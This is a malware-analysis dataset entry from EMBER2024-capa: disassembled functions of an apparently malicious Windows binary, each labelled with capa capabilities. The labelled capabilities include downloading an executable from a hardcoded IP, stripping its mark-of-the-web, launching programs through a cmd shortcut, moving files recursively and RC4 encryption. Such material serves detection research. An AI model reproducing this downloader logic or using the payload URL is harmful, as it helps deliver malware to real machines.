joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406520
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.msvcrt.dll_srand
add esp, 4
mov byte [ebp - 0x20d], 0
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0x41110c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x420]
push edx
push 0x41111c
push 0x41ba68
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push 0x411148
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0
je 0x4066c0
push 0
push 0
push 0
push 0
push str.http:__185.215.113.66_tdrp.exe
mov eax, dword [ebp - 0x534]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x4066b3
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x41ba68
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
je 0x4066a6
lea ecx, [ebp - 0x530]
push ecx
push 0x103
lea edx, [ebp - 0x528]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40666b
cmp dword [ebp - 0x530], 0
je 0x40666b
push 0
lea ecx, [ebp - 0x52c]
push ecx
mov edx, dword [ebp - 0x530]
push edx
lea eax, [ebp - 0x528]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x406618
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x41ba68
push 0x411268
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x20d], 1
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x534]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 0x20d]
mov esp, ebp
pop ebp
ret
Function at 0x4066e0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push 0x412ff8
push 1
push 0
push 0x413018
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x406811
cmp dword [ebp - 8], 0
je 0x406811
movzx ecx, byte [ebp + 0x14]
cmp ecx, 1
jne 0x40674f
push 0x41430c
push 0x41430c
push 0x41430c
push str._c_start__s__start__s_rvldrv.exe__start__s_rvlcfg.exe
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
jmp 0x40676e
push 0x41430c
push 0x41430c
push str._c_start__s__start__s_rvlcfg.exe
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push str._comspec_
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 0x50]
call ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 0x44]
call ecx
push 7
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [eax + 0x3c]
call edx
lea eax, [ebp - 0x218]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 0x2c]
call ecx
lea edx, [ebp - 0xc]
push edx
push 0x413008
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ecx]
call eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x406803
cmp dword [ebp - 0xc], 0
je 0x406803
push 1
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [eax + 0x18]
call edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ecx + 8]
call eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [edx + 8]
call ecx
mov esp, ebp
pop ebp
ret
Function at 0x406820
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 8]
push ecx
push 0x411344
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0xffffffff
je 0x40694f
push 0x411350
lea edx, [ebp - 0x42c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4068a1
push 0x411354
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4068a3
jmp 0x40691c
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x41135c
lea eax, [ebp - 0x668]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0x411368
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 0x458]
and ecx, 0x10
je 0x406906
lea edx, [ebp - 0x870]
push edx
lea eax, [ebp - 0x668]
push eax
call fcn.00406820
add esp, 8
jmp 0x40691c
push 9
lea ecx, [ebp - 0x870]
push ecx
lea edx, [ebp - 0x668]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x458]
push eax
mov ecx, dword [ebp - 0x45c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406875
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esp, ebp
pop ebp
ret
Function at 0x407740
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
add eax, 1
push eax
call fcn.0040a9d0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407797
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 0x10]
mov byte [ecx], 0
push 0
push 0
mov edx, dword [ebp - 4]
push edx
push 0x4077a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x409a00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 0x14], 0
jne 0x409a11
jmp 0x409bc4
xor eax, eax
mov word [ebp - 0x10], ax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
je 0x409a61
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp + 0xc]
shr edx, 3
mov eax, dword [ebp + 8]
movzx cx, byte [eax + edx]
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
mov ecx, 8
sub ecx, dword [ebp - 0x14]
sar edx, cl
mov word [ebp - 0x10], dx
mov eax, dword [ebp + 0xc]
shr eax, 3
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x14]
add ecx, 7
shr ecx, 3
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0x409a88
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jge 0x409bc4
mov ecx, dword [ebp - 8]
sub ecx, 1
cmp dword [ebp - 4], ecx
je 0x409ac0
movzx edx, word [ebp - 0x10]
shl edx, 8
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x10], dx
mov edx, dword [ebp - 0x14]
add edx, 8
mov dword [ebp - 0x14], edx
jmp 0x409b19
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
test edx, edx
jne 0x409ad9
mov dword [ebp - 0x24], 8
jmp 0x409ae8
mov eax, dword [ebp + 0x14]
xor edx, edx
mov ecx, 8
div ecx
mov dword [ebp - 0x24], edx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
shl eax, cl
mov ecx, dword [ebp + 0x10]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx]
mov ecx, 8
sub ecx, dword [ebp - 0x18]
sar edx, cl
or eax, edx
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
setne dl
xor eax, eax
cmp dword [ebp - 0x14], 8
setge al
and edx, eax
jne 0x409b4f
mov ecx, dword [ebp - 8]
sub ecx, 1
xor edx, edx
cmp dword [ebp - 4], ecx
sete dl
xor eax, eax
cmp dword [ebp - 0x14], 0
setg al
and edx, eax
je 0x409bbf
cmp dword [ebp - 0x14], 8
jle 0x409b5e
mov dword [ebp - 0x28], 8
jmp 0x409b64
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], edx
movzx eax, word [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x1c]
sar eax, cl
mov byte [ebp - 0x1d], al
movzx edx, byte [ebp - 0x1d]
mov ecx, 8
sub ecx, dword [ebp - 0x1c]
shl edx, cl
mov byte [ebp - 0x1d], dl
mov eax, 0xff00
mov ecx, dword [ebp - 0x1c]
sar eax, cl
movzx ecx, byte [ebp - 0x1d]
and ecx, eax
mov byte [ebp - 0x1d], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov al, byte [ebp - 0x1d]
mov byte [edx], al
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], edx
jmp 0x409b19
jmp 0x409a7f
mov esp, ebp
pop ebp
ret
Function at 0x40ad50
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 2
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xcc9e2d51
mov dword [ebp - 0x10], 0x1b873593
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
lea ecx, [eax + edx*4]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
neg edx
mov dword [ebp - 0x28], edx
jmp 0x40ada0
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40adfd
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040aeb0
add esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0xcc9e2d51
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
rol ecx, 0xf
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
imul edx, edx, 0x1b873593
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
rol ecx, 0xd
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
imul edx, edx, 5
sub edx, 0x19ab949c
mov dword [ebp - 4], edx
jmp 0x40ad97
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
lea edx, [ecx + eax*4]
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp + 0xc]
and eax, 3
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
je 0x40ae4d
cmp dword [ebp - 0x30], 2
je 0x40ae3d
cmp dword [ebp - 0x30], 3
je 0x40ae2d
jmp 0x40ae83
mov ecx, dword [ebp - 0xc]
movzx edx, byte [ecx + 2]
shl edx, 0x10
xor edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax + 1]
shl ecx, 8
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
imul ecx, ecx, 0xcc9e2d51
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
rol edx, 0xf
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x1b873593
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
xor edx, dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
call fcn.0040aec0
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40aec0
Capabilities:
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
shr eax, 0x10
xor eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0x85ebca6b
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 8]
shr edx, 0xd
xor edx, dword [ebp + 8]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 8]
imul eax, eax, 0xc2b2ae35
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 8]
shr ecx, 0x10
xor ecx, dword [ebp + 8]
mov dword [ebp + 8], ecx
mov eax, dword [ebp + 8]
pop ebp
ret
Function at 0x40b470
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40b4a9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40b4a9
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40b4b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
mov edx, 2
mov word [ebp - 0x14], dx
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
push 0x412260
call fcn.0040b470
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x40b560
push 0x10
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40b554
xor edx, edx
mov word [ebp - 0x28], dx
xor eax, eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x2c], 0x10
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040b570
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40b5b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [0x41c4d0], 0
jne 0x40b5c4
jmp 0x40b69c
mov eax, dword [0x41c4d0]
shl eax, 3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040a9d0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40b69c
mov dword [ebp - 0x10], 0
jmp 0x40b5fa
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x41c4d0]
jae 0x40b634
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx*4 + 0x41c4d8]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [edx + 4]
mov dword [ecx + eax*8], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax*4 + 0x41c4d8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov ecx, dword [ecx + 8]
mov dword [eax + edx*8 + 4], ecx
jmp 0x40b5f1
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push 0x41c2a0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x40b683
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3d
push 0x41ae70
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [ebp - 4]
push edx
call fcn.0040abe0
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x40b800
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov byte [ebp - 0x101], 0
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x40b897
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x40b897
mov dword [ebp - 0x10c], 0
jmp 0x40b85e
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
cmp dword [ecx + edx*4], 0
je 0x40b897
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x10c]
mov eax, dword [ecx + edx*4]
mov ecx, dword [eax]
cmp ecx, dword [ebp + 8]
jne 0x40b895
mov byte [ebp - 0x101], 1
jmp 0x40b897
jmp 0x40b84f
mov al, byte [ebp - 0x101]
mov esp, ebp
pop ebp
ret
Function at 0x40bcf0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x41c4b8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 8], 0
jmp 0x40bd13
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x200
jae 0x40bd39
push 0
call fcn.0040ded0
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x41ae78]
push edx
call fcn.0040b8d0
add esp, 0xc
jmp 0x40bd0a
push 0
push 0
push 3
push 0
push 0
push bind
push 0x41c2a0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40be22
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40be18
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40be0e
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
jmp 0x40bdcd
mov eax, dword [ebp - 0x18]
add eax, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x14]
jae 0x40be04
cmp dword [ebp - 0x1c], 0x200
jae 0x40be04
push 0
call fcn.0040ded0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
sub eax, dword [edx + ecx*8 + 4]
push eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + eax*8]
push edx
call fcn.0040b8d0
add esp, 0xc
jmp 0x40bdbb
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.0040b590
push 0
push 0
push 0
push 0x40be50
push 0
mov eax, dword [0x41ccdc]
push eax
call fcn.0040db90
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x40cac0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov eax, dword [ebp + 0x14]
mov cl, byte [eax + 0x100]
mov byte [ebp - 2], cl
mov edx, dword [ebp + 0x14]
mov al, byte [edx + 0x101]
mov byte [ebp - 1], al
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
jmp 0x40caf7
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jae 0x40cb97
movzx ecx, byte [ebp - 2]
add ecx, 1
and ecx, 0xff
mov byte [ebp - 2], cl
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 8]
movzx ecx, byte [eax + edx]
movzx edx, byte [ebp - 1]
add ecx, edx
and ecx, 0xff
mov byte [ebp - 1], cl
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
mov dl, byte [ecx + eax]
mov byte [ebp - 3], dl
movzx eax, byte [ebp - 1]
movzx ecx, byte [ebp - 2]
mov edx, dword [ebp - 8]
mov esi, dword [ebp - 8]
mov al, byte [esi + eax]
mov byte [edx + ecx], al
movzx ecx, byte [ebp - 1]
mov edx, dword [ebp - 8]
mov al, byte [ebp - 3]
mov byte [edx + ecx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 2]
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
movzx ecx, byte [ebp - 1]
mov esi, dword [ebp - 8]
movzx ecx, byte [esi + ecx]
add eax, ecx
and eax, 0xff
mov ecx, dword [ebp - 8]
movzx eax, byte [ecx + eax]
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0xc]
mov byte [ecx], dl
jmp 0x40caee
mov edx, dword [ebp + 0x14]
mov al, byte [ebp - 2]
mov byte [edx + 0x100], al
mov ecx, dword [ebp + 0x14]
mov dl, byte [ebp - 1]
mov byte [ecx + 0x101], dl
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d720
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x14], 0xffffffff
je 0x40d73e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push edx
push 0x4004667f
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x40d765
jmp 0x40d7df
cmp dword [ebp - 0xc], 0
jle 0x40d7c2
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0x10]
jae 0x40d77b
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
jmp 0x40d781
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x40d7c2
cmp dword [ebp + 0x14], 0xffffffff
je 0x40d7b0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp - 0x10]
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [ebp - 8]
ja 0x40d7df
cmp dword [ebp + 0x10], 0
jne 0x40d744
xor eax, eax
cmp dword [ebp + 0x10], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x40d7f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0xffffffff
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40d86f
xor eax, eax
mov word [ebp - 0x14], ax
xor ecx, ecx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov word [ebp - 6], cx
mov edx, 2
mov word [ebp - 0x14], dx
push 0x9e34
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40d86f
mov eax, dword [ebp - 4]
push eax
call fcn.0040b570
add esp, 4
mov dword [ebp - 4], 0xffffffff
jmp 0x40d873
xor ecx, ecx
jne 0x40d7fd
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret